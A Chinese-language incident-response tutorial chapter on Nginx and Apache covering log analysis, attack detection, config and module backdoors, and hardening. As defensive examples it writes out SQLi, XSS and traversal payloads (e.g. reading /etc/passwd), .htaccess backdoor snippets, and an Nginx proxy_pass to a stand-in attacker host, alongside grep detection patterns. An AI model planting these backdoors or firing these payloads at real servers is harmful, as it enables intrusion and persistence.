Nginx 与 Apache 应急响应 Nginx 和 Apache 是 Linux 环境中最主流的 Web 服务器/反向代理。在应急响应中,它们的日志是还原攻击链的核心证据来源。本章涵盖日志分析、Web 攻击检测、配置文件后门、模块后门的排查方法,以及实用的日志分析工具和技巧。
关联章节:
03-日志分析基础 — 通用日志分析方法论
06-文件系统取证 — 文件系统层面的取证分析
30-YARA规则 — 使用 YARA 规则检测恶意文件
一、日志格式与位置 1.1 Nginx 日志 日志文件位置
发行版
默认日志路径
配置文件路径
Ubuntu/Debian
/var/log/nginx/access.log
/etc/nginx/nginx.conf
CentOS/RHEL
/var/log/nginx/access.log
/etc/nginx/nginx.conf
源码编译安装
/usr/local/nginx/logs/access.log
/usr/local/nginx/conf/nginx.conf
快速定位日志路径:
1 2 3 4 5 6 7 nginx -V 2>&1 | grep -oP 'conf-path=\K\S+' grep -r "access_log\|error_log" /etc/nginx/ 2>/dev/null ps aux | grep "[n]ginx"
access.log 格式解析(combined 格式) 默认的 combined 格式定义:
1 2 3 log_format combined '$remote_addr - $remote_user [$time_local ] ' '"$request " $status $body_bytes_sent ' '"$http_referer " "$http_user_agent "' ;
示例日志行:
1 192.168.1.100 - - [15/Mar/2026:14:23:01 +0800] "GET /index.html HTTP/1.1" 200 1234 "https://example.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
各字段含义:
192.168.1.100 — $remote_addr:客户端 IP 地址
第一个 - — $remote_user 对应的 ident 查询结果(几乎总是 -)
第二个 - — $remote_user:HTTP 认证用户名(未认证时为 -)
[15/Mar/2026:14:23:01 +0800] — $time_local:请求时间
"GET /index.html HTTP/1.1" — $request:请求行(方法 + URI + 协议)
200 — $status:HTTP 响应状态码
1234 — $body_bytes_sent:响应体字节数
"https://example.com/" — $http_referer:来源页面
"Mozilla/5.0 ..." — $http_user_agent:用户代理字符串
error.log 配置 1 2 3 4 error_log /var/log/nginx/error .log warn ;
应急时建议查看 error.log,可能包含:
权限错误(攻击者尝试访问受限资源)
上游连接超时(可能是后端被入侵导致异常)
配置错误(可能是攻击者修改配置导致的)
自定义日志格式 生产环境通常使用增强格式,包含更多信息:
1 2 3 4 5 log_format detailed '$remote_addr - $remote_user [$time_local ] ' '"$request " $status $body_bytes_sent ' '"$http_referer " "$http_user_agent " ' '$request_time $upstream_response_time ' '"$http_x_forwarded_for "' ;
应急分析时务必先确认日志格式 ,否则 awk 提取字段会出错:
1 2 3 4 5 grep -A5 "log_format" /etc/nginx/nginx.conf grep "access_log" /etc/nginx/nginx.conf /etc/nginx/conf.d/*.conf /etc/nginx/sites-enabled/*
1.2 Apache 日志 日志文件位置
发行版
默认日志路径
配置文件路径
Ubuntu/Debian
/var/log/apache2/access.log
/etc/apache2/apache2.conf
CentOS/RHEL
/var/log/httpd/access_log
/etc/httpd/conf/httpd.conf
源码编译安装
/usr/local/apache2/logs/access_log
/usr/local/apache2/conf/httpd.conf
注意命名差异:Ubuntu 用 access.log(带 .),CentOS 用 access_log(带 _)
日志格式 1 2 3 4 5 6 7 8 LogFormat "%h %l %u %t \"%r\" %>s %b" commonLogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combinedCustomLog /var/log/apache2/access.log combined
字段与 Nginx combined 格式基本一致
%>s 表示最终状态码(经过内部重定向后的)
error_log 1 2 3 4 5 6 7 8 /var/log/apache2/error.log /var/log/httpd/error_log
mod_security 审计日志 如果安装了 mod_security(Web 应用防火墙),会有详细的审计日志:
1 2 3 4 5 6 7 8 9 10 11 /var/log/modsec_audit.log /var/log/apache2/modsec_audit.log apache2ctl -M | grep security httpd -M | grep security
审计日志格式由多个 Section 组成:
Section A:审计日志头(时间、事务 ID)
Section B:请求头
Section C:请求体
Section F:响应头
Section H:审计日志尾(匹配的规则等)
二、Web 攻击日志分析(重点) 2.1 SQL 注入特征 URL 中的典型特征 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 GET /product?id=1 UNION SELECT 1 ,2 ,3 ,username,password FROM users-- HTTP/1 .1 GET /product?id=1 %20 UNION%20 SELECT%201 ,2 ,3 ,username,password%20 FROM%20 users-- HTTP/1 .1 GET /product?id=1 AND 1 =1 HTTP/1 .1 GET /product?id=1 AND 1 =2 HTTP/1 .1 GET /product?id=1 ' AND 'a'='a HTTP/1 .1 GET /product?id=1 AND SLEEP(5 ) HTTP/1 .1 GET /product?id=1 ; WAITFOR DELAY '0 :0 :5 ' HTTP/1 .1 GET /product?id=1 AND extractvalue(1 ,concat(0 x7e,(SELECT version()),0 x7e)) HTTP/1 .1 POST /login HTTP/1 .1 (body: username=admin' OR 1 =1 --&password=anything)
检测命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 grep -iE "union\s+(all\s+)?select" /var/log/nginx/access.log grep -iE "(select|union|insert|update|delete|drop|exec|execute|xp_|sp_|0x)" /var/log/nginx/access.log | grep -iE "(from|where|having|order by|group by|concat|char\(|chr\()" grep -iE "%27|%22|%23|%2D%2D|%3B|%20OR%20|%20AND%20|%20UNION%20" /var/log/nginx/access.log grep -E "('|%27)" /var/log/nginx/access.log | grep -iE "(or|and|select|union|drop|insert)" | head -50 grep -iE "(union.*select|or\s+1\s*=\s*1|'\s*(or|and)\s+'|sleep\s*\(|benchmark\s*\(|extractvalue|updatexml|concat\s*\()" /var/log/nginx/access.log
样本日志分析 1 2 3 4 5 185.220.101.34 - - [15/Mar/2026:03:14:22 +0800] "GET /product?id=1' HTTP/1.1" 500 234 "-" "sqlmap/1.6.12#stable" 185.220.101.34 - - [15/Mar/2026:03:14:23 +0800] "GET /product?id=1%20AND%201=1 HTTP/1.1" 200 5678 "-" "sqlmap/1.6.12#stable" 185.220.101.34 - - [15/Mar/2026:03:14:24 +0800] "GET /product?id=1%20AND%201=2 HTTP/1.1" 200 0 "-" "sqlmap/1.6.12#stable" 185.220.101.34 - - [15/Mar/2026:03:14:30 +0800] "GET /product?id=1%20UNION%20SELECT%201,2,3,4,5 HTTP/1.1" 200 5690 "-" "sqlmap/1.6.12#stable" 185.220.101.34 - - [15/Mar/2026:03:15:01 +0800] "GET /product?id=1%20UNION%20SELECT%201,username,password,4,5%20FROM%20users HTTP/1.1" 200 8901 "-" "sqlmap/1.6.12#stable"
分析:
User-Agent 为 sqlmap — 自动化 SQL 注入工具,无伪装意识
请求顺序:单引号测试 → 布尔测试(1=1 vs 1=2)→ UNION 列数探测 → 数据提取
200 响应 + 不同的 body_bytes_sent → 注入成功
最后一条响应 8901 字节明显较大 → 成功提取了用户数据
2.2 XSS 攻击特征 典型 Payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 基础 XSS <script > alert(1)</script > <img src =x onerror =alert(1) > <svg onload =alert(1) > # URL 编码形式(在日志中更常见) %3Cscript%3Ealert (1 )%3C /script%3E %3Cimg%20src =x %20onerror =alert(1 )%3E # 事件处理器 " onmouseover="alert(1) ' onfocus='alert(1)' autofocus=' # JavaScript 协议 javascript:alert(document.cookie)
检测命令 1 2 3 4 5 6 7 8 9 10 11 grep -iE "(<|%3C)\s*script|javascript:" /var/log/nginx/access.log grep -iE "onerror\s*=|onload\s*=|onmouseover\s*=|onfocus\s*=|onclick\s*=" /var/log/nginx/access.log grep -iE "%3Cscript|%3Csvg|%3Cimg.*onerror" /var/log/nginx/access.log grep -iE "alert\s*\(|prompt\s*\(|confirm\s*\(|document\.cookie|document\.domain" /var/log/nginx/access.log
2.3 目录遍历特征 典型 Payload 1 2 3 4 5 6 7 8 9 10 11 12 GET /download?file =../../../etc/passwdGET /static/.. /.. /.. /etc/shadowGET /download?file =..%2F..%2F..%2Fetc%2FpasswdGET /download?file =..%252F..%252F..%252Fetc%252FpasswdGET /download?file =../../../etc/passwd%00.jpg
检测命令 1 2 3 4 5 6 7 8 9 10 11 grep -E "\.\./|\.\.%2[fF]|\.\.\\\\|%2e%2e" /var/log/nginx/access.log grep -iE "/etc/passwd|/etc/shadow|/etc/hosts|/proc/self|/windows/system32" /var/log/nginx/access.log grep -E "%25" /var/log/nginx/access.log | grep -iE "2e|2f" grep -E "\.\./|\.\.%2[fF]" /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn
2.4 Webshell 上传检测 日志特征 1 2 3 4 5 6 # 文件上传请求(通常是 POST) 185.220.101.34 - - [15/Mar/2026:03:20:00 +0800] "POST /upload.php HTTP/1.1" 200 45 "-" "Python-urllib/3.8" # 上传后立即访问 Webshell 185.220.101.34 - - [15/Mar/2026:03:20:05 +0800] "POST /uploads/shell.php HTTP/1.1" 200 1234 "-" "Python-urllib/3.8" 185.220.101.34 - - [15/Mar/2026:03:20:10 +0800] "POST /uploads/shell.php HTTP/1.1" 200 5678 "-" "Python-urllib/3.8"
检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 grep "POST" /var/log/nginx/access.log | grep -iE "\.(php|jsp|asp|aspx|jspx|war)(\s|%20|\?)" | head -50 grep "POST" /var/log/nginx/access.log | awk '{print $7}' | sort | uniq -c | sort -rn | head -30 awk '{print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -n | head -30 awk '{print $1, $7}' /var/log/nginx/access.log | sort | uniq | awk '{print $2}' | sort | uniq -c | sort -n | head -30 find /var/www/ -name "*.php" -mtime -7 -exec ls -la {} \; find /var/www/ -name "*.php" -newer /var/www/html/index.php
Webshell 文件特征检测 1 2 3 4 5 6 7 8 grep -rlE "eval\s*\(|assert\s*\(|system\s*\(|exec\s*\(|passthru\s*\(|shell_exec\s*\(|popen\s*\(|proc_open" /var/www/ --include="*.php" grep -rl "base64_decode\|gzinflate\|gzuncompress\|str_rot13\|eval(" /var/www/ --include="*.php" find /var/www/ -name "*.php" -perm -o+w -exec ls -la {} \;
2.5 扫描器特征检测 常见扫描器 User-Agent 1 2 3 4 5 6 7 8 grep -iE "sqlmap|nmap|nikto|dirsearch|gobuster|wfuzz|burpsuite|acunetix|nessus|openvas|masscan|zmap|whatweb|nuclei|xray" /var/log/nginx/access.log grep -iE "scanner|crawler|spider|bot|fuzzer|exploit|attack|hack|pentest" /var/log/nginx/access.log awk -F'"' '{print $6}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -30
扫描行为特征 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 awk '$9 == 404 {print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20 awk '{ split($4, a, ":"); minute = a[1] ":" a[2] ":" a[3]; key = $1 " " minute; count[key]++ } END { for (k in count) { if (count[k] > 100) print count[k], k } }' /var/log/nginx/access.log | sort -rn | head -20grep -iE "/(admin|manager|phpmyadmin|wp-admin|wp-login|.env|.git|.svn|backup|config|db|sql|shell|cmd|test)" /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -20 grep -iE "/(cgi-bin|phpinfo|wp-content/uploads|xmlrpc|api/jsonws|actuator|druid|swagger)" /var/log/nginx/access.log | head -30
2.6 综合攻击检测脚本 将上述检测命令整合为一个快速分析脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 #!/bin/bash LOG_FILE="${1:-/var/log/nginx/access.log} " if [ ! -f "$LOG_FILE " ]; then echo "日志文件不存在: $LOG_FILE " exit 1 fi echo "==========================================" echo " Web 攻击日志快速分析" echo " 分析文件: $LOG_FILE " echo " 日志行数: $(wc -l < "$LOG_FILE " ) " echo "==========================================" echo "" echo "[1] SQL 注入检测" echo "---" SQL_COUNT=$(grep -ciE "union.*select|or\s+1\s*=\s*1|'\s*(or|and)|sleep\s*\(|benchmark\s*\(|extractvalue|updatexml" "$LOG_FILE " ) echo " 发现 SQL 注入特征请求: $SQL_COUNT 条" grep -iE "union.*select|or\s+1\s*=\s*1|'\s*(or|and)|sleep\s*\(|benchmark\s*\(" "$LOG_FILE " | awk '{print $1}' | sort | uniq -c | sort -rn | head -5 | while read count ip; do echo " $ip : $count 次" done echo "" echo "[2] XSS 攻击检测" echo "---" XSS_COUNT=$(grep -ciE "(<|%3C)\s*script|javascript:|onerror\s*=|onload\s*=" "$LOG_FILE " ) echo " 发现 XSS 攻击特征请求: $XSS_COUNT 条" echo "" echo "[3] 目录遍历检测" echo "---" TRAV_COUNT=$(grep -cE "\.\./|\.\.%2[fF]" "$LOG_FILE " ) echo " 发现目录遍历特征请求: $TRAV_COUNT 条" echo "" echo "[4] 扫描器检测" echo "---" SCAN_COUNT=$(grep -ciE "sqlmap|nmap|nikto|dirsearch|gobuster|nuclei|xray|acunetix" "$LOG_FILE " ) echo " 发现扫描器请求: $SCAN_COUNT 条" echo "" echo "[5] 大量 404 的 IP(可能在目录枚举)" echo "---" awk '$9 == 404 {print $1}' "$LOG_FILE " | sort | uniq -c | sort -rn | head -10 | while read count ip; do echo " $ip : $count 次 404" done echo "" echo "[6] 请求频率 Top 10 IP" echo "---" awk '{print $1}' "$LOG_FILE " | sort | uniq -c | sort -rn | head -10 | while read count ip; do echo " $ip : $count 次请求" done echo "" echo "[7] 可疑 User-Agent" echo "---" awk -F'"' '{print $6}' "$LOG_FILE " | sort | uniq -c | sort -rn | grep -iE "python|curl|wget|go-http|java|perl|ruby|scanner|bot" | head -10 echo "" echo "==========================================" echo " 分析完成" echo "=========================================="
三、配置文件后门 3.1 Apache .htaccess 后门 .htaccess 是 Apache 的分布式配置文件,可以在不修改主配置的情况下改变目录级别的行为。攻击者可以利用它实现多种后门:
让非 PHP 文件当 PHP 执行 1 2 3 4 5 6 7 8 9 AddType application/x-httpd-php .jpgAddType application/x-httpd-php .pngAddType application/x-httpd-php .gif<FilesMatch "\.jpg$" > SetHandler application/x-httpd-php </FilesMatch>
效果:上传一个 image.jpg(内容实际是 PHP 代码),可以当 PHP 执行
检测:
1 2 3 4 5 6 7 8 find /var/www/ -name ".htaccess" -exec ls -la {} \; find /var/www/ -name ".htaccess" -exec grep -lE "AddType.*php|SetHandler.*php|application/x-httpd-php" {} \; find /var/www/ -name ".htaccess" -exec echo "=== {} ===" \; -exec cat {} \;
mod_rewrite 隐藏后门 1 2 3 4 5 6 7 RewriteEngine On RewriteCond %{HTTP_USER_AGENT} ^secret-agent$RewriteRule ^(.*)$ /uploads/.hidden_shell.php [L]
检测:
1 2 3 4 5 find /var/www/ -name ".htaccess" -exec grep -lE "RewriteRule|RewriteCond" {} \; find /var/www/ -name ".htaccess" -exec grep -A2 "HTTP_USER_AGENT" {} \;
自动追加/前置 PHP 代码 1 2 3 php_value auto_prepend_file /tmp/.hidden/backdoor.phpphp_value auto_append_file /tmp/.hidden/logger.php
效果:所有 PHP 请求都会先执行 backdoor.php 的代码
检测:
1 2 3 4 5 find /var/www/ -name ".htaccess" -exec grep -lE "auto_prepend_file|auto_append_file" {} \; php -i | grep -E "auto_prepend|auto_append" grep -rE "auto_prepend|auto_append" /etc/php/ 2>/dev/null
.htaccess 修改时间检查 1 2 3 4 5 find /var/www/ -name ".htaccess" -mtime -30 -exec ls -la {} \; diff /var/www/html/.htaccess /backup/www/html/.htaccess
3.2 Nginx 配置注入 include 指令加载恶意配置 1 2 3 4 5 6 include /tmp/.nginx_backdoor.conf;
location 块反向代理到恶意服务器 1 2 3 4 5 6 7 8 9 location /api/internal/ { proxy_pass http://evil-server.attacker.com:8080/; } if ($http_x_secret = "backdoor_key" ) { proxy_pass http://evil-server.attacker.com:8080; }
检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 find /etc/nginx/ -name "*.conf" -exec ls -la {} \; grep -rn "include" /etc/nginx/ 2>/dev/null grep -rn "include" /etc/nginx/ | grep -vE "/etc/nginx|/usr/share/nginx|mime\.types|fastcgi" grep -rn "proxy_pass" /etc/nginx/ 2>/dev/null find /etc/nginx/ -name "*.conf" -mtime -30 -exec ls -la {} \; nginx -T 2>/dev/null | head -100
对比检测 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 dpkg --verify nginx rpm -V nginx
四、模块后门 4.1 Apache 恶意模块 Apache 支持通过 LoadModule 指令加载动态共享对象(DSO),攻击者可以编译恶意模块实现后门:
恶意模块的能力 在所有请求/响应中注入内容
窃取认证凭据
根据特定请求触发命令执行
完全透明,不留下文件 Webshell
检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 apache2ctl -M httpd -M grep -rn "LoadModule" /etc/apache2/ 2>/dev/null grep -rn "LoadModule" /etc/httpd/ 2>/dev/null ls -la /usr/lib/apache2/modules/ ls -la /usr/lib64/httpd/modules/ dpkg -L libapache2-mod-* 2>/dev/null | grep "\.so$" | sort > /tmp/default_modules.txt ls /usr/lib/apache2/modules/*.so | sort > /tmp/current_modules.txtdiff /tmp/default_modules.txt /tmp/current_modules.txt rpm -ql httpd | grep "\.so$" | sort > /tmp/default_modules.txt ls /usr/lib64/httpd/modules/*.so | sort > /tmp/current_modules.txtdiff /tmp/default_modules.txt /tmp/current_modules.txt find /usr/lib/apache2/modules/ -name "*.so" -mtime -30 -exec ls -la {} \; find /usr/lib64/httpd/modules/ -name "*.so" -mtime -30 -exec ls -la {} \; strings /usr/lib/apache2/modules/suspicious_mod.so | grep -iE "shell|exec|system|backdoor|password" dpkg --verify libapache2-mod-* rpm -V httpd
4.2 Nginx 动态模块后门 Nginx 1.9.11+ 支持动态模块加载:
1 load_module modules/ngx_http_backdoor_module.so;
检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 grep -rn "load_module" /etc/nginx/ 2>/dev/null ls -la /usr/lib/nginx/modules/ ls -la /usr/lib64/nginx/modules/ ls -la /etc/nginx/modules/dpkg -L nginx-* 2>/dev/null | grep "\.so$" | sort > /tmp/default_nginx_modules.txt ls /usr/lib/nginx/modules/*.so 2>/dev/null | sort > /tmp/current_nginx_modules.txtdiff /tmp/default_nginx_modules.txt /tmp/current_nginx_modules.txt nginx -V 2>&1 | tr ' ' '\n' | grep "module" for mod in /usr/lib/nginx/modules/*.so; do echo "=== $mod ===" strings "$mod " | grep -iE "shell|exec|system|backdoor|password" | head -5 done
已知的 Nginx 后门模块 ngx_http_lua_module 滥用 :如果安装了 Lua 模块(OpenResty),攻击者可能在配置中嵌入 Lua 代码后门
1 2 3 4 5 grep -rn "content_by_lua\|access_by_lua\|rewrite_by_lua\|body_filter_by_lua" /etc/nginx/ 2>/dev/null grep -rn "lua_file\|lua_package_path" /etc/nginx/ 2>/dev/null
五、日志分析工具 5.1 GoAccess 实时分析 GoAccess 是一个实时的 Web 日志分析工具,支持终端和 HTML 报告:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 apt install goaccess yum install goaccess goaccess /var/log/nginx/access.log --log-format=COMBINED goaccess /var/log/nginx/access.log --log-format=COMBINED -o /tmp/report.html zcat /var/log/nginx/access.log.*.gz | goaccess --log-format=COMBINED -o /tmp/report.html goaccess /var/log/apache2/access.log --log-format=COMBINED
GoAccess 报告包含:
请求 IP 排行
请求 URL 排行
404 页面排行
User-Agent 统计
地理位置分布(如果安装了 GeoIP 库)
每日/每小时访问趋势
5.2 awk one-liners 实战 Top IP(请求量排行) 1 awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20
Top URL(被请求最多的路径) 1 awk '{print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20
Top User-Agent 1 awk -F'"' '{print $6}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20
按小时统计请求量 1 2 3 4 5 6 7 awk '{ split($4, a, ":"); hour = a[2]; count[hour]++ } END { for (h in count) print h ":00", count[h] }' /var/log/nginx/access.log | sort
提取所有 POST 请求 1 2 3 4 5 6 7 awk '$6 ~ /POST/' /var/log/nginx/access.log grep '"POST ' /var/log/nginx/access.log grep '"POST ' /var/log/nginx/access.log | awk '{print $7}' | sort | uniq -c | sort -rn | head -20
提取所有 5xx 错误 1 2 3 4 5 6 7 8 9 10 11 12 13 awk '$9 ~ /^5/' /var/log/nginx/access.log awk '$9 ~ /^5/ {print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20 awk '$9 ~ /^5/ {print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20 awk '$9 ~ /^5/ { split($4, a, ":"); printf "%s %s:00\n", a[1], a[2] }' /var/log/nginx/access.log | sort | uniq -c | sort -rn
带宽消耗 Top IP 1 2 3 4 5 6 7 awk '{ ip = $1; bytes = $10 + 0; total[ip] += bytes } END { for (ip in total) printf "%s\t%.2f MB\n", ip, total[ip]/1024/1024 }' /var/log/nginx/access.log | sort -t$'\t' -k2 -rn | head -20
特定 IP 的完整请求时间线 1 2 3 TARGET_IP="185.220.101.34" grep "^${TARGET_IP} " /var/log/nginx/access.log | awk '{print $4, $6, $7, $9}' | sed 's/\[//'
响应时间异常检测(需要日志格式包含 $request_time) 1 2 3 awk '{if ($(NF) > 5) print $0}' /var/log/nginx/access.log | head -20
5.3 攻击时间线重建 时间线重建是应急响应中最重要的分析步骤之一:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ATTACKER_IP="185.220.101.34" grep "^${ATTACKER_IP} " /var/log/nginx/access.log > /tmp/attacker_timeline.txt echo "=== 总请求数 ===" wc -l /tmp/attacker_timeline.txtecho "=== 首次请求 ===" head -1 /tmp/attacker_timeline.txtecho "=== 最后请求 ===" tail -1 /tmp/attacker_timeline.txtecho "=== 请求方法分布 ===" awk '{print $6}' /tmp/attacker_timeline.txt | tr -d '"' | sort | uniq -c | sort -rn echo "=== 状态码分布 ===" awk '{print $9}' /tmp/attacker_timeline.txt | sort | uniq -c | sort -rn echo "=== 请求 URL 分布 ===" awk '{print $7}' /tmp/attacker_timeline.txt | sort | uniq -c | sort -rn | head -20 echo "=== 按分钟统计请求量 ===" awk '{ split($4, a, ":"); printf "%s %s:%s\n", a[1], a[2], a[3] }' /tmp/attacker_timeline.txt | sort | uniq -c | sort -rn | head -20
典型攻击时间线模式:
阶段1:信息搜集 (大量 GET 请求,404 响应为主)
阶段2:漏洞探测 (针对特定路径的请求,可能包含攻击 payload)
阶段3:漏洞利用 (POST 请求增多,200 响应)
阶段4:后门操作 (对 Webshell 路径的持续 POST 请求)
六、应急处置与加固 6.1 Webshell 清理 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 mkdir -p /tmp/evidence/webshellfind /var/www/ -name "*.php" -exec grep -lE "eval\s*\(|system\s*\(|exec\s*\(|passthru|shell_exec|base64_decode.*eval" {} \; | while read f; do echo "Found webshell: $f " cp "$f " /tmp/evidence/webshell/ md5sum "$f " >> /tmp/evidence/webshell/hashes.txt done find /var/www/ -type d -perm -o+w -exec ls -ld {} \; chown -R www-data:www-data /var/www/html/find /var/www/html/ -type d -exec chmod 755 {} \; find /var/www/html/ -type f -exec chmod 644 {} \;
6.2 配置审计 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 echo "=== Nginx 配置检查 ===" grep "^user" /etc/nginx/nginx.conf grep -rn "server_name\|listen\|root\|location\|proxy_pass" /etc/nginx/ grep -rn "include" /etc/nginx/ nginx -t echo "=== Apache 配置检查 ===" grep -E "^User|^Group" /etc/apache2/apache2.conf grep -E "^User|^Group" /etc/httpd/conf/httpd.conf apache2ctl -S httpd -S apache2ctl -M httpd -M grep -rn "AllowOverride" /etc/apache2/ /etc/httpd/ 2>/dev/null
6.3 WAF 部署 Nginx + ModSecurity 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 apt install libmodsecurity3 libmodsecurity-dev apt install libnginx-mod-http-modsecurity SecRuleEngine On SecAuditEngine On SecAuditLog /var/log/nginx/modsec_audit.log git clone https://github.com/coreruleset/coreruleset.git /etc/nginx/modsecurity/crs cp /etc/nginx/modsecurity/crs/crs-setup.conf.example /etc/nginx/modsecurity/crs/crs-setup.conf
Apache + mod_security 1 2 3 4 5 6 7 8 9 10 apt install libapache2-mod-security2 a2enmod security2 yum install mod_security mod_security_crs SecRuleEngine On
6.4 安全头部配置 Nginx 安全头部 1 2 3 4 5 6 7 8 9 10 11 add_header X-Frame-Options "SAMEORIGIN" always;add_header X-Content-Type-Options "nosniff" always;add_header X-XSS-Protection "1; mode=block" always;add_header Referrer-Policy "strict-origin-when-cross-origin" always;add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;server_tokens off ;
Apache 安全头部 1 2 3 4 5 6 7 8 9 10 11 12 13 Header always set X-Frame-Options "SAMEORIGIN" Header always set X-Content-Type-Options "nosniff" Header always set X-XSS-Protection "1; mode=block" Header always set Referrer-Policy "strict-origin-when-cross-origin" Header always set Content-Security-Policy "default-src 'self'" Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains" ServerTokens ProdServerSignature Off
其他加固配置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 if ($request_method !~ ^(GET|HEAD|POST)$) { return 444 ; } client_max_body_size 10m ;limit_req_zone $binary_remote_addr zone=req_limit:10m rate=10r/s;server { limit_req zone=req_limit burst=20 nodelay; } location ~ /\. { deny all; return 404 ; } location ~* \.(env|git|svn|htaccess|htpasswd|ini|log|bak|sql|swp)$ { deny all; return 404 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <LimitExcept GET POST HEAD> Require all denied </LimitExcept> Options -IndexesAllowOverride None<FilesMatch "^\." > Require all denied </FilesMatch>
七、实战练习 7.1 实验环境 实验目录:labs/03-web-server-ir/
环境要求:
Nginx + PHP-FPM 环境
Apache + mod_php 环境
一个简单的 Web 应用(带文件上传、数据库查询功能)
7.2 练习一:Web 攻击日志分析 目标:分析提供的 Nginx access.log 样本(约 10000 行),回答以下问题
有多少个不同的攻击者 IP?
检测到了哪些类型的攻击?
攻击是否成功?有哪些证据?
重建攻击时间线
练习日志文件:labs/03-web-server-ir/sample-access.log
7.3 练习二:配置后门检测 场景:某台 Web 服务器被入侵,攻击者可能修改了 Web 服务器配置
任务:
检查 Nginx/Apache 配置文件完整性
查找配置后门
检查 .htaccess 后门
检查模块后门
恢复原始配置
7.4 练习三:综合应急响应 场景:安全设备告警某 Web 服务器正在对外发起 C2 通信
任务:
分析 Web 服务器日志定位入侵入口
查找并分析 Webshell
检查配置后门
检查是否有横向移动痕迹
清理后门并加固
编写应急响应报告
7.5 练习四:日志分析脚本编写 任务:编写一个 bash 脚本,实现以下功能
输入:Web 日志文件路径
输出:
攻击类型统计(SQL 注入、XSS、目录遍历、扫描器)
攻击者 IP 排行
可疑 URL 排行
攻击时间分布
生成简洁的分析报告
7.6 思考题 Nginx 反向代理后面是 Tomcat,攻击者通过 Nginx 日志可以看到什么?Tomcat 日志又能看到什么?两者如何关联分析?
如果攻击者使用 CDN 访问目标网站,在日志中看到的客户端 IP 是什么?如何获取真实 IP?(提示:X-Forwarded-For 和 X-Real-IP)
如果 Web 服务器日志被攻击者清除了,还有哪些方式可以恢复或获取访问记录?
.htaccess 后门与直接修改 httpd.conf 相比,各有什么优劣势(从攻击者角度)?